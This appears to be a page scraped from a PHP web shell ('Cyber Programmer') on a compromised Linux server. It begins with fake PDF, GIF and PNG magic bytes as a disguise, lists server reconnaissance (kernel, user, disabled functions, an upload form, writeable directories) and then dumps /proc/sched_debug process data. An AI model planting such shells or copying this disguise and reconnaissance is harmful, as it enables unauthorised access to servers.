%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/proc/sched_debug
Sched Debug Version: v0.11, 4.18.0-513.11.1.el8_9.x86_64 #1
ktime                                   : 5734989553.332962
sched_clk                               : 5734990148.037158
cpu_clk                                 : 5734989553.332994
jiffies                                 : 10029656850
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 18.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 66999867
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2893.202 MHz
  .nr_running                    : 1
  .nr_switches                   : 2850341157
  .nr_uninterruptible            : 80746
  .next_balance                  : 10029.656959
  .curr->pid                     : 3271651
  .clock                         : 5734989553.006194
  .clock_task                    : 5672288849.353036
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1765587530.441512
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -3556184285.458391
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2097152
  .load_avg                      : 65
  .runnable_avg                  : 65
  .util_avg                      : 64
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 65
  .tg_load_avg                   : 86
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 5672288850.242251
  .se->vruntime                  : 5321771816.807735
  .se->sum_exec_runtime          : 1717003661.252418
  .se->load.weight               : 1037933
  .se->avg.load_avg              : 63
  .se->avg.util_avg              : 64
  .se->avg.runnable_avg          : 65

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 5321771816.807735
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1037933
  .load_avg                      : 79
  .runnable_avg                  : 81
  .util_avg                      : 65
  .util_est_enqueued             : 32
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/init.scope
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/system.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         systemd     1   1893455.264164  11895516   120         0.000000   6162190.193715         0.000000 0 0 /init.scope
 I          rcu_gp     3 5300425067.517927       108   100         0.000000         0.705824         0.000000 0 0 /
 I      rcu_par_gp     4       110.533807         2   100         0.000000         0.000710         0.000000 0 0 /
 I    slub_flushwq     5       112.534229         2   100         0.000000         0.000848         0.000000 0 0 /
 I    kworker/0:0H     7       740.133171         4   100         0.000000         0.013278         0.000000 0 0 /
 I    mm_percpu_wq     9 5210935338.619186       420   100         0.000000         2.540780         0.000000 0 0 /
 S rcu_tasks_rude_    10       121.288246         2   120         0.000000         0.001630         0.000000 0 0 /
 S rcu_tasks_trace    11       123.288567         2   120         0.000000         0.001344         0.000000 0 0 /
 S     ksoftirqd/0    12 5321771802.299148  55627171   120         0.000000    407941.065492         0.000000 0 0 /
 S     migration/0    14         0.000000   2351361     0         0.000000     22711.253284         0.000000 0 0 /
 S      watchdog/0    15         0.000000   1433751     0         0.000000       373.916115         0.000000 0 0 /
 S         cpuhp/0    16      1818.842414        15   120         0.000000         0.216022         0.000000 0 0 /
 I       writeback    45 3622715173.243620         5   100         0.000000         0.006943         0.000000 0 0 /
 I      tpm_dev_wq    55       245.975799         2   100         0.000000         0.013955         0.000000 0 0 /
 I acpi_thermal_pm   124       510.516597         2   100         0.000000         0.029223         0.000000 0 0 /
 I          kaluad   126       519.540109         2   100         0.000000         0.024614         0.000000 0 0 /
 I           kstrp   129       559.085526         2   100         0.000000         0.027403         0.000000 0 0 /
 I    kworker/0:1H   182 5321771769.694638  25559188   100         0.000000    191573.582027         0.000000 0 0 /
 I      scsi_tmf_0   353      1265.358420         2   100         0.000000         0.008059         0.000000 0 0 /
 I      scsi_tmf_2   358      1286.511616         2   100         0.000000         0.019430         0.000000 0 0 /
 I  kdmflush/253:0   430 5258002950.390699       165   100         0.000000         1.697400         0.000000 0 0 /
 I   xfs_mru_cache   468      1602.613239         2   100         0.000000         0.023744         0.000000 0 0 /
 I    xfs-cil/dm-0   471 4885357488.585920        10   100         0.000000         0.289839         0.000000 0 0 /
 I    xfs-log/dm-0   474      1617.649114         2   100         0.000000         0.019744         0.000000 0 0 /
 S         rpcbind   620 1765586018.480972    191059   120         0.000000      7742.772703         0.000000 0 0 /system.slice
 S          smartd   673 1765571580.260610      3296   120         0.000000       707.016397         0.000000 0 0 /system.slice
 S            nscd   722 1765585643.090331    557863   120         0.000000     60921.529692         0.000000 0 0 /system.slice
 S            nscd   725 1765586471.754481   4111867   120         0.000000    287260.234630         0.000000 0 0 /system.slice
 S            nscd   726 1765587456.202574   4113242   120         0.000000    287476.011706         0.000000 0 0 /system.slice
 S            nscd   727 1765587459.364423   4109988   120         0.000000    286623.732536         0.000000 0 0 /system.slice
 S            nscd 231729 1765586443.184337   4056392   120         0.000000    285001.467752         0.000000 0 0 /system.slice
 S            nscd 231730 1765586453.822566   4054804   120         0.000000    285207.727121         0.000000 0 0 /system.slice
 S            nscd 231732 1765587459.272605   4053004   120         0.000000    284802.251661         0.000000 0 0 /system.slice
 S            nscd 231733 1765587455.741098   4054833   120         0.000000    284372.599602         0.000000 0 0 /system.slice
 S            nscd 232564 1765587504.293428   4055139   120         0.000000    285911.814955         0.000000 0 0 /system.slice
 S            nscd 232565 1765586406.841764   4053312   120         0.000000    285335.469929         0.000000 0 0 /system.slice
 S            nscd 232566 1765587455.824208   4055641   120         0.000000    286255.562567         0.000000 0 0 /system.slice
 S           loop0   845 5321768811.627546   2306195   100         0.000000     66988.514763         0.000000 0 0 /
 S        rsyslogd  1077 1765570832.874397      9763   120         0.000000       845.551992         0.000000 0 0 /system.slice
 S             atd  1113 1765571645.980997      1632   120         0.000000       179.235864         0.000000 0 0 /system.slice
 S           crond  1118 1765586453.785861    268931   120         0.000000     59823.182073         0.000000 0 0 /system.slice
 I    kworker/u9:0  1129      5707.694047         2   100         0.000000         0.008530         0.000000 0 0 /
 S          mysqld  1655 1765587508.052825  22095427   120         0.000000   1032357.482537         0.000000 0 0 /system.slice
 S          mysqld  1703 1765587521.484877 105235162   120         0.000000   1030783.158403         0.000000 0 0 /system.slice
 S          mysqld  1705 1765587521.459407 101704294   120         0.000000   1055018.965610         0.000000 0 0 /system.slice
 R          mysqld  1707 1765587526.115401 549839762   120         0.000000  13153459.881770         0.000000 0 0 /system.slice
 S          mysqld  1839 1765586409.965417    382352   120         0.000000     10617.058854         0.000000 0 0 /system.slice
 S          mysqld  2388 1765587447.889049    970894   120         0.000000     64892.995897         0.000000 0 0 /system.slice
 S          mysqld  2398 1765587521.459825  11265049   120         0.000000     71872.006889         0.000000 0 0 /system.slice
 S          mysqld  2401     39795.646409         2   120         0.000000         0.052084         0.000000 0 0 /system.slice
 S      tailwatchd  1271 1765585752.773422   4232694   120         0.000000   1211361.388368         0.000000 0 0 /system.slice
 S  isc-worker0000  1385 1765587504.400693   7369202   120         0.000000    541944.107917         0.000000 0 0 /system.slice
 S  isc-worker0002  1387 1765587520.208866   7370060   120         0.000000    542182.325151         0.000000 0 0 /system.slice
 S            nrpe  1478 1765586409.804218    573574   120         0.000000     47713.507360         0.000000 0 0 /system.slice
 S       JS Helper  1861      5432.185917         2   120         0.000000         0.616349         0.000000 0 0 /system.slice
 S            exim 1955276 1765585672.869665     12396   120         0.000000      4667.803522         0.000000 0 0 /system.slice
 S cpsrvd (SSL) -  1955302 1765586381.261609     23101   120         0.000000     65537.576444         0.000000 0 0 /system.slice
 S      pop3-login 2078399 1765586336.172303      1984   120         0.000000       523.304477         0.000000 0 0 /system.slice
 S      imap-login 2078400 1765583508.376055      3682   120         0.000000       636.149997         0.000000 0 0 /system.slice
 S           httpd 2078411 1765014265.722895        23   120         0.000000        32.165299         0.000000 0 0 /system.slice
 S   sw-engine-fpm 3167122 1763552808.344025         3   120         0.000000         0.383890         0.000000 0 0 /system.slice
 S           httpd 3173841 1763736045.316284        58   120         0.000000         4.531754         0.000000 0 0 /system.slice
 S           httpd 3173844 1765583751.280860      3403   120         0.000000      1881.022689         0.000000 0 0 /system.slice
 S           httpd 3173845 1765586018.480697      2694   120         0.000000      1595.624961         0.000000 0 0 /system.slice
 S           httpd 3173847 1765587522.095298      2686   120         0.000000      1649.334971         0.000000 0 0 /system.slice
 S           httpd 3173848 1765586162.873227      3950   120         0.000000      2064.394755         0.000000 0 0 /system.slice
 S           httpd 3173850 1765587522.132519      3684   120         0.000000      2106.197008         0.000000 0 0 /system.slice
 S           httpd 3173851 1765584137.771514      2936   120         0.000000      1710.110606         0.000000 0 0 /system.slice
 S           httpd 3173852 1765585569.589252      3985   120         0.000000      2199.819181         0.000000 0 0 /system.slice
 S           httpd 3173853 1765585482.999048      3035   120         0.000000      1798.690962         0.000000 0 0 /system.slice
 S           httpd 3173854 1765583741.603505      4060   120         0.000000      2231.095123         0.000000 0 0 /system.slice
 S           httpd 3173855 1765584602.465438      3261   120         0.000000      1910.387122         0.000000 0 0 /system.slice
 S           httpd 3173856 1765585502.237587      4651   120         0.000000      2589.392733         0.000000 0 0 /system.slice
 S           httpd 3173857 1765585603.807786      3679   120         0.000000      2081.208814         0.000000 0 0 /system.slice
 S           httpd 3173858 1765585962.598037      3212   120         0.000000      1925.436962         0.000000 0 0 /system.slice
 S           httpd 3173859 1765586146.210822      4597   120         0.000000      2346.239790         0.000000 0 0 /system.slice
 S           httpd 3173860 1765583327.316257      3512   120         0.000000      2103.143906         0.000000 0 0 /system.slice
 S           httpd 3173861 1765587504.960185      2581   120         0.000000      1624.697459         0.000000 0 0 /system.slice
 S           httpd 3173862 1765584300.924239      3443   120         0.000000      1964.715567         0.000000 0 0 /system.slice
 S           httpd 3173863 1765585687.232716      3435   120         0.000000      2137.209401         0.000000 0 0 /system.slice
 S           httpd 3173864 1765586453.756283      2611   120         0.000000      1710.871831         0.000000 0 0 /system.slice
 S           httpd 3173865 1765584433.717457      3769   120         0.000000      2067.939052         0.000000 0 0 /system.slice
 S           httpd 3173868 1765587064.172477     11201   120         0.000000       100.541895         0.000000 0 0 /system.slice
 S           httpd 3174429 1765584420.272407      3808   120         0.000000      2211.994858         0.000000 0 0 /system.slice
 S           httpd 3174430 1765584624.117240      2743   120         0.000000      1638.840393         0.000000 0 0 /system.slice
 S           httpd 3174431 1765587509.740880      3630   120         0.000000      2032.107091         0.000000 0 0 /system.slice
 S           httpd 3174432 1765584066.094304      2971   120         0.000000      1711.673425         0.000000 0 0 /system.slice
 S           httpd 3174433 1765583754.149603      3175   120         0.000000      1826.995262         0.000000 0 0 /system.slice
 S           httpd 3174434 1765584266.414782      2512   120         0.000000      1566.339401         0.000000 0 0 /system.slice
 S           httpd 3174435 1765585566.065503      3235   120         0.000000      1905.007024         0.000000 0 0 /system.slice
 S           httpd 3174436 1765585625.030795      3358   120         0.000000      1890.387053         0.000000 0 0 /system.slice
 S           httpd 3174437 1765586311.215382      2632   120         0.000000      1561.765938         0.000000 0 0 /system.slice
 S           httpd 3174438 1765585483.324658      3222   120         0.000000      1804.223761         0.000000 0 0 /system.slice
 S           httpd 3174439 1765585569.589252      3194   120         0.000000      1840.504550         0.000000 0 0 /system.slice
 S           httpd 3174441 1765584179.772868      2692   120         0.000000      1758.939452         0.000000 0 0 /system.slice
 S           httpd 3174442 1765586018.441719      2431   120         0.000000      1543.831746         0.000000 0 0 /system.slice
 S           httpd 3174443 1765586404.434332      3386   120         0.000000      1988.869318         0.000000 0 0 /system.slice
 S           httpd 3174444 1765587504.497105      3991   120         0.000000      2175.009348         0.000000 0 0 /system.slice
 S           httpd 3174445 1765586307.992619      2845   120         0.000000      1632.489210         0.000000 0 0 /system.slice
 S           httpd 3174446 1765585241.659497      4217   120         0.000000      2287.431024         0.000000 0 0 /system.slice
 S           httpd 3174448 1765585676.839213      4139   120         0.000000      2598.905630         0.000000 0 0 /system.slice
 S           httpd 3174450 1765587478.763325      4035   120         0.000000      2211.370571         0.000000 0 0 /system.slice
 S           httpd 3174451 1765586265.570838      2536   120         0.000000      1588.489612         0.000000 0 0 /system.slice
 S           httpd 3174452 1765583315.313286      3147   120         0.000000      1782.827560         0.000000 0 0 /system.slice
 S           httpd 3174453 1765586002.622201      3124   120         0.000000      1760.941223         0.000000 0 0 /system.slice
 S           httpd 3178299 1765583758.812189      3266   120         0.000000      1932.957490         0.000000 0 0 /system.slice
 S           httpd 3178300 1765585961.833580      3061   120         0.000000      1805.614534         0.000000 0 0 /system.slice
 S           httpd 3178301 1765584429.407713      3189   120         0.000000      1861.437775         0.000000 0 0 /system.slice
 S           httpd 3178302 1765585640.046890      2253   120         0.000000      1351.244814         0.000000 0 0 /system.slice
 S           httpd 3178303 1765586002.298807      2074   120         0.000000      1321.189394         0.000000 0 0 /system.slice
 S           httpd 3178304 1765584065.762849      2232   120         0.000000      1364.356210         0.000000 0 0 /system.slice
 S           httpd 3178305 1765586437.952402      3325   120         0.000000      1845.380363         0.000000 0 0 /system.slice
 S           httpd 3178306 1765584324.115643      2798   120         0.000000      1758.830282         0.000000 0 0 /system.slice
 S           httpd 3178307 1765585241.705918      2735   120         0.000000      1619.257212         0.000000 0 0 /system.slice
 S           httpd 3178308 1765583835.977405      3056   120         0.000000      1827.153457         0.000000 0 0 /system.slice
 S           httpd 3178309 1765586055.422760      3249   120         0.000000      1934.908934         0.000000 0 0 /system.slice
 S           httpd 3178310 1765584421.142052      2626   120         0.000000      1531.737452         0.000000 0 0 /system.slice
 S           httpd 3178313 1765584567.638477      2723   120         0.000000      1687.882605         0.000000 0 0 /system.slice
 S           httpd 3178314 1765585640.511233      3303   120         0.000000      1850.414223         0.000000 0 0 /system.slice
 S           httpd 3178315 1765586002.605065      3183   120         0.000000      1905.359610         0.000000 0 0 /system.slice
 S           httpd 3178316 1765586339.830624      4536   120         0.000000      2388.402385         0.000000 0 0 /system.slice
 S           httpd 3178317 1765585273.764225      3195   120         0.000000      1932.597833         0.000000 0 0 /system.slice
 S           httpd 3178318 1765587481.879463      2793   120         0.000000      1692.118862         0.000000 0 0 /system.slice
 S           httpd 3178319 1765586937.806544      2882   120         0.000000      1687.910055         0.000000 0 0 /system.slice
 S           httpd 3178320 1765585250.785560      3425   120         0.000000      1942.943229         0.000000 0 0 /system.slice
 S           httpd 3178321 1765585687.232716      3163   120         0.000000      1808.729931         0.000000 0 0 /system.slice
 S           httpd 3178322 1765585640.178995      2632   120         0.000000      1661.621969         0.000000 0 0 /system.slice
 S           httpd 3178323 1765586175.682257      2332   120         0.000000      1483.536712         0.000000 0 0 /system.slice
 S           httpd 3178324 1765587477.048953     10530   120         0.000000        92.589154         0.000000 0 0 /system.slice
 S           httpd 3178361 1765585276.823453      2957   120         0.000000      1664.155321         0.000000 0 0 /system.slice
 S           httpd 3178362 1765582803.539117      2842   120         0.000000      1724.439180         0.000000 0 0 /system.slice
 S           httpd 3178364 1765587523.657246      3607   120         0.000000      2083.481593         0.000000 0 0 /system.slice
 S           httpd 3178365 1765587506.337781      3856   120         0.000000      2086.890250         0.000000 0 0 /system.slice
 S           httpd 3178367 1765584505.673636      2925   120         0.000000      1664.530984         0.000000 0 0 /system.slice
 S           httpd 3178368 1765586358.077403      3168   120         0.000000      1786.633758         0.000000 0 0 /system.slice
 S           httpd 3178369 1765586437.629334      3765   120         0.000000      2087.542159         0.000000 0 0 /system.slice
 S           httpd 3178370 1765586454.068991      3246   120         0.000000      1822.750634         0.000000 0 0 /system.slice
 S           httpd 3178371 1765584561.972489      2964   120         0.000000      1717.012422         0.000000 0 0 /system.slice
 S           httpd 3178372 1765585640.047141      3226   120         0.000000      1857.463917         0.000000 0 0 /system.slice
 S           httpd 3178373 1765585569.621609      4047   120         0.000000      2210.242291         0.000000 0 0 /system.slice
 S           httpd 3178374 1765585566.327726      2475   120         0.000000      1486.837090         0.000000 0 0 /system.slice
 S           httpd 3178375 1765584419.128741      3801   120         0.000000      2053.677233         0.000000 0 0 /system.slice
 S           httpd 3178376 1765585483.605815      2071   120         0.000000      1284.175525         0.000000 0 0 /system.slice
 S           httpd 3178377 1765586006.748183      2031   120         0.000000      1383.176167         0.000000 0 0 /system.slice
 S           httpd 3178378 1765585676.039534      2451   120         0.000000      1563.766312         0.000000 0 0 /system.slice
 S           httpd 3178379 1765583749.729950      2824   120         0.000000      1717.484539         0.000000 0 0 /system.slice
 S           httpd 3178380 1765584772.249234      2206   120         0.000000      1442.296143         0.000000 0 0 /system.slice
 S           httpd 3178381 1765586002.616511      2702   120         0.000000      1676.276443         0.000000 0 0 /system.slice
 S           httpd 3178382 1765586402.668790      3309   120         0.000000      1867.755820         0.000000 0 0 /system.slice
 S           httpd 3178383 1765584179.747089      2997   120         0.000000      1777.098550         0.000000 0 0 /system.slice
 S           httpd 3178384 1765584089.131606      3402   120         0.000000      1911.108863         0.000000 0 0 /system.slice
 S           httpd 3178385 1765586477.514626      3431   120         0.000000      1947.711484         0.000000 0 0 /system.slice
 S           httpd 3178386 1765587521.441512     10524   120         0.000000        91.966507         0.000000 0 0 /system.slice
 S           httpd 3178334 1765587526.186381      2911   120         0.000000      1756.769767         0.000000 0 0 /system.slice
 S           httpd 3178335 1765585679.173704      2734   120         0.000000      1616.528201         0.000000 0 0 /system.slice
 S           httpd 3178336 1765586033.872516      3480   120         0.000000      1987.658531         0.000000 0 0 /system.slice
 S           httpd 3178337 1765584656.859935      2940   120         0.000000      1724.058723         0.000000 0 0 /system.slice
 S           httpd 3178338 1765584324.084775      3499   120         0.000000      2064.103006         0.000000 0 0 /system.slice
 S           httpd 3178339 1765586057.393446      2486   120         0.000000      1542.725771         0.000000 0 0 /system.slice
 S           httpd 3178341 1765583318.178724      3575   120         0.000000      1897.150657         0.000000 0 0 /system.slice
 S           httpd 3178343 1765584237.012860      3456   120         0.000000      1933.843958         0.000000 0 0 /system.slice
 S           httpd 3178344 1765586002.559600      2694   120         0.000000      1597.979216         0.000000 0 0 /system.slice
 S           httpd 3178345 1765584420.091877      3405   120         0.000000      1893.309101         0.000000 0 0 /system.slice
 S           httpd 3178347 1765583748.831622      3347   120         0.000000      1870.877866         0.000000 0 0 /system.slice
 S           httpd 3178349 1765585689.627640      2643   120         0.000000      1582.208962         0.000000 0 0 /system.slice
 S           httpd 3178350 1765585640.079515      3241   120         0.000000      1865.894865         0.000000 0 0 /system.slice
 S           httpd 3178351 1765587517.441966      2373   120         0.000000      1579.709372         0.000000 0 0 /system.slice
 S           httpd 3178352 1765586444.109488      2689   120         0.000000      1669.141591         0.000000 0 0 /system.slice
 S           httpd 3178354 1765584182.717165      3581   120         0.000000      1993.171880         0.000000 0 0 /system.slice
 S           httpd 3178355 1765583748.038176      3320   120         0.000000      1836.893443         0.000000 0 0 /system.slice
 S           httpd 3178356 1765585627.496369      3208   120         0.000000      1798.593796         0.000000 0 0 /system.slice
 S           httpd 3178359 1765587504.200393     10532   120         0.000000        88.422439         0.000000 0 0 /system.slice
 S           httpd 3181285 1765583749.487186      3241   120         0.000000      1853.481803         0.000000 0 0 /system.slice
 S           httpd 3181286 1765585036.345603      2725   120         0.000000      1655.338308         0.000000 0 0 /system.slice
 S           httpd 3181287 1765587519.865121      2969   120         0.000000      1680.055320         0.000000 0 0 /system.slice
 S           httpd 3181288 1765585873.544305      3706   120         0.000000      2053.578751         0.000000 0 0 /system.slice
 S           httpd 3181290 1765583842.962301      3028   120         0.000000      1899.413717         0.000000 0 0 /system.slice
 S           httpd 3181291 1765585639.756536      3780   120         0.000000      2120.488992         0.000000 0 0 /system.slice
 S           httpd 3181293 1765586054.700693      2707   120         0.000000      1567.519015         0.000000 0 0 /system.slice
 S           httpd 3181294 1765585414.474170      3653   120         0.000000      2025.270384         0.000000 0 0 /system.slice
 S           httpd 3181295 1765586409.703247      3169   120         0.000000      1801.856120         0.000000 0 0 /system.slice
 S           httpd 3181297 1765587504.547385      3705   120         0.000000      2044.583877         0.000000 0 0 /system.slice
 S           httpd 3181298 1765586443.519140      3942   120         0.000000      2162.768201         0.000000 0 0 /system.slice
 S           httpd 3181299 1765585674.340118      2863   120         0.000000      1606.485473         0.000000 0 0 /system.slice
 S           httpd 3181300 1765583747.865630      3228   120         0.000000      1864.197601         0.000000 0 0 /system.slice
 S           httpd 3181301 1765584323.981097      3386   120         0.000000      1876.101509         0.000000 0 0 /system.slice
 S           httpd 3181303 1765584515.966828      3255   120         0.000000      1866.621216         0.000000 0 0 /system.slice
 S           httpd 3181306 1765586003.327118      1420   120         0.000000      1042.137414         0.000000 0 0 /system.slice
 S           httpd 3181307 1765586135.984641      2975   120         0.000000      1657.820417         0.000000 0 0 /system.slice
 S           httpd 3181309 1765586265.589276      2071   120         0.000000      1369.800466         0.000000 0 0 /system.slice
 S           httpd 3181310 1765584235.841701      3841   120         0.000000      2165.174265         0.000000 0 0 /system.slice
 S           httpd 3181311 1765587519.865121     10231   120         0.000000        84.394841         0.000000 0 0 /system.slice
 I    kworker/u8:3 3248173 5321771805.544303     13020   120         0.000000       243.884356         0.000000 0 0 /
 I     kworker/0:3 3267986 5321750448.310619     15025   120         0.000000       106.009297         0.000000 0 0 /
 I     kworker/0:1 3269476 5321771805.501164     18908   120         0.000000       136.428250         0.000000 0 0 /
 S         php-fpm 3271612 1765586406.981251        14   120         0.000000         3.701005         0.000000 0 0 /system.slice
 S         php-fpm 3271632 1765586809.415236       224   120         0.000000      1047.380256         0.000000 0 0 /system.slice
>R         php-fpm 3271651 1765587524.546994        42   120         0.000000        29.873410         0.000000 0 0 /system.slice
 S         php-fpm 3271653 1765587464.684933       265   120         0.000000      1003.760918         0.000000 0 0 /system.slice
 S         php-cgi 3271675 1765587521.525116        12   120         0.000000        30.498869         0.000000 0 0 /system.slice
 S         php-fpm 3271677 1765587530.446523         9   120         0.000000         5.164173         0.000000 0 0 /system.slice

cpu#1, 2893.202 MHz
  .nr_running                    : 0
  .nr_switches                   : 2528695795
  .nr_uninterruptible            : -49760
  .next_balance                  : 10029.656859
  .curr->pid                     : 0
  .clock                         : 5734989554.040123
  .clock_task                    : 5706681197.987766
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 2004131856.232329
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -3317639960.682602
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 4
  .runnable_avg                  : 4
  .util_avg                      : 4
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 4
  .tg_load_avg                   : 86
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 5706681187.033300
  .se->vruntime                  : 5462394736.034777
  .se->sum_exec_runtime          : 1784337537.494898
  .se->load.weight               : 82241
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 4
  .se->avg.runnable_avg          : 4

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 5462394736.034777
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 140622919.119846
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 0
  .runnable_avg                  : 4
  .util_avg                      : 4
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
